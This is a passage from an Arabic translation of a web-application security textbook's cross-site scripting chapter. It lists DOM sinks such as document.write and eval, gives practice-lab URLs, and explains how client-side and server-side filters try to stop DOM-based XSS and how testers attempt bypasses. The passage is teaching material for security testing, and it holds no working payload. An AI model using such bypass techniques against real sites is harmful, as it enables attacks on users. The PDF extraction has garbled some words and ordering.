‫ﺣﺎﻟﺔﻳﺘﻢ ﻓﻴﻬﺎ ﺗﻤﺮﻳﺮ ﺑﻴﺎﻧﺎﺗﻚ ﺇﻟﻰ ﺃﻱ ﻣﻦ ﻭﺍﺟﻬﺎﺕ ﺑﺮﻣﺠﺔ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬

‫()‪document.write‬‬ ‫‪-‬‬
‫()‪document.writeln‬‬ ‫‪-‬‬
‫ﻣﺴﺘﻨﺪ‪.‬ﺟﺴﻢ‪ Html.‬ﺩﺍﺧﻠﻲ‬ ‫‪-‬‬
‫ﺗﻘﻴﻴﻢ)(‬ ‫‪-‬‬
‫()‪window.execScript‬‬ ‫‪-‬‬
‫()‪window.setInterval‬‬ ‫‪-‬‬
‫()‪window.setTimeout‬‬ ‫‪-‬‬
‫‪489‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺟﺮﺑﻬﺎ!‬

‫‪/56/ http://mdsec.net/error/61/‬‬
‫‪/error/53/ http://mdsec.net/error‬‬
‫‪/error/49/ http://mdsec.net‬‬
‫‪/error/41/ http://mdsec.net‬‬
‫‪/error/37/ http://mdsec.net‬‬
‫‪/error/31/ http://mdsec.net‬‬
‫‪/error/28/ http://mdsec.net‬‬
‫‪/error/22/ http://mdsec.net‬‬
‫‪/error/18/ http://mdsec.net‬‬
‫‪http://mdsec.net‬‬

‫ﻛﻤﺎﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ‪ ،‬ﻗﺪ ﻳﺠُﺮﻱ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻤﻠﻴﺎﺕ ﺗﺼﻔﻴﺔ‬
‫ﻣﺨُﺘﻠﻔﺔﻓﻲ ﻣﺤﺎﻭﻟﺔ ﻟﻤﻨﻊ ﺍﻟﻬﺠﻤﺎﺕ‪ .‬ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻄُﺒﻖّ ﻋﻤﻠﻴﺔ ﺍﻟﺘﺼﻔﻴﺔ ﻋﻠﻰ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‪ ،‬ﻭﻳﻤﻜﻨﻚ‬
‫ﻣﺮﺍﺟﻌﺔﺭﻣﺰ ﺍﻟﺘﺤﻘﻖ ﻣﺒﺎﺷﺮﺓ ًﻟﻔﻬﻢ ﺁﻟﻴﺔ ﻋﻤﻠﻬﺎ ﻭﻣﺤﺎﻭﻟﺔ ﺗﺤﺪﻳﺪ ﺃﻱ ﺗﺠﺎﻭﺯﺍﺕ‪ .‬ﻗﺪ ﺗﻜﻮﻥ ﺟﻤﻴﻊ‬
‫ﺍﻟﺘﻘﻨﻴﺎﺕﺍﻟﻤﺬﻛﻮﺭﺓ ﺳﺎﺑﻘﺎً ﻟﻠﺘﺼﻔﻴﺔ ﺿﺪ ﻫﺠﻤﺎﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﺫﺍﺕ ﺻﻠﺔ ﻫﻨﺎ‪.‬‬

‫ﺟﺮﺑﻬﺎ!‬

‫‪/109/ http://mdsec.net/error/118/‬‬
‫‪/error/107/ http://mdsec.net/error‬‬
‫‪/error/95/ http://mdsec.net‬‬
‫‪/error/92/ http://mdsec.net‬‬
‫‪http://mdsec.net‬‬

‫ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻗﺪ ﺗﺠﺪ ﺃﻥ ﺗﻄﺒﻴﻖ ﺍﻟﺨﺎﺩﻡ ﻳﻄُﺒﻖّ ﻣﺮُﺷﺤّﺎﺕ ﻣﺼُﻤﻤّﺔ ﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ ‪XSS‬‬
‫ﺍﻟﻘﺎﺉﻤﺔﻋﻠﻰ ‪ .DOM‬ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺣﺪﻭﺙ ﺍﻟﻌﻤﻠﻴﺔ ﺍﻟﻤﻌُﺮﺿّﺔ ﻟﻠﺨﻄﺮ ﻋﻠﻰ ﺍﻟﻌﻤﻴﻞ‪ ،‬ﻭﻋﺪﻡ ﺇﺭﺟﺎﻉ‬
‫ﺍﻟﺨﺎﺩﻡﻟﻠﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻘُﺪﻣّﺔ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺘﻪ‪ ،‬ﺇﻻ ﺃﻥ ﻋﻨﻮﺍﻥ ‪ URL‬ﻻ ﻳﺰﺍﻝ ﻳﺮُﺳﻞَ ﺇﻟﻰ‬
‫ﺍﻟﺨﺎﺩﻡ‪.‬ﻟﺬﻟﻚ‪ ،‬ﻗﺪ ﻳﺘﺤﻘﻖّ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻭﻳﻔﺸﻞ ﻓﻲ ﺇﺭﺟﺎﻉ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﻤﻌُﺮﺽّ‬
‫ﻟﻠﺨﻄﺮﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﻋﻨﺪ ﺍﻛﺘﺸﺎﻑ ﺣﻤﻮﻟﺔ ﺿﺎﺭﺓ‪.‬‬

‫ﺇﺫﺍﻭﺍﺟﻬﺖ َﻫﺬﺍ ﺍﻟﺪﻓﺎﻉ‪ ،‬ﻓﻌﻠﻴﻚ َﺗﺠﺮﺑﺔ ﺟﻤﻴﻊ ﻋﻤﻠﻴﺎﺕ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻤﺤﺘﻤﻠﺔ ﺍﻟﺘﻲ ﻭﺻُﻔﺖ‬
‫ﺳﺎﺑﻘﺎًﻟﺜﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻻﺧﺘﺒﺎﺭ ﻣﺘﺎﻧﺔ ﻋﻤﻠﻴﺔ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺨﺎﺩﻡ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ ﻫﺬﻩ‬
‫ﺍﻟﻬﺠﻤﺎﺕ‪،‬ﻗﺪ ﺗﻤُﻜﻦّ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﻔﺮﻳﺪﺓ ﻷﺧﻄﺎء ‪ XSS‬ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ‪ DOM‬ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ‬
‫ﻣﻦﺍﻟﺘﻬﺮﺏ ﻣﻦ ﻋﻤﻠﻴﺔ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺨﺎﺩﻡ‪.‬‬

‫ﻋﻨﺪﻣﺎﺗﺴﺘﺨﺮﺝ ﻧﺼﻮﺹ ﺍﻟﻌﻤﻴﻞ ﻗﻴﻤﺔ ﻣﻌﻠﻤﺔ ﻣﻦ ﻋﻨﻮﺍﻥ ‪ ،URL‬ﻧﺎﺩﺭﺍً ﻣﺎ ﺗﺤُﻠﻞ ﺳﻠﺴﻠﺔ‬


‫ﺍﻻﺳﺘﻌﻼﻡﺑﺸﻜﻞ ﺻﺤﻴﺢ ﺇﻟﻰ ﺃﺯﻭﺍﺝ ﺍﺳﻢ‪/‬ﻗﻴﻤﺔ‪ .‬ﺑﺪﻻً ﻣﻦ ﺫﻟﻚ‪ ،‬ﻋﺎﺩﺓ ًﻣﺎ ﺗﺒﺤﺚ ﻓﻲ ﻋﻨﻮﺍﻥ ‪ URL‬ﻋﻦ‬
‫ﺍﺳﻢﺍﻟﻤﻌﻠﻤﺔ ﻣﺘﺒﻮﻋﺎً ﺑﻌﻼﻣﺔ ﻳﺴﺎﻭﻱ‪ ،‬ﺛﻢ‬

You might also like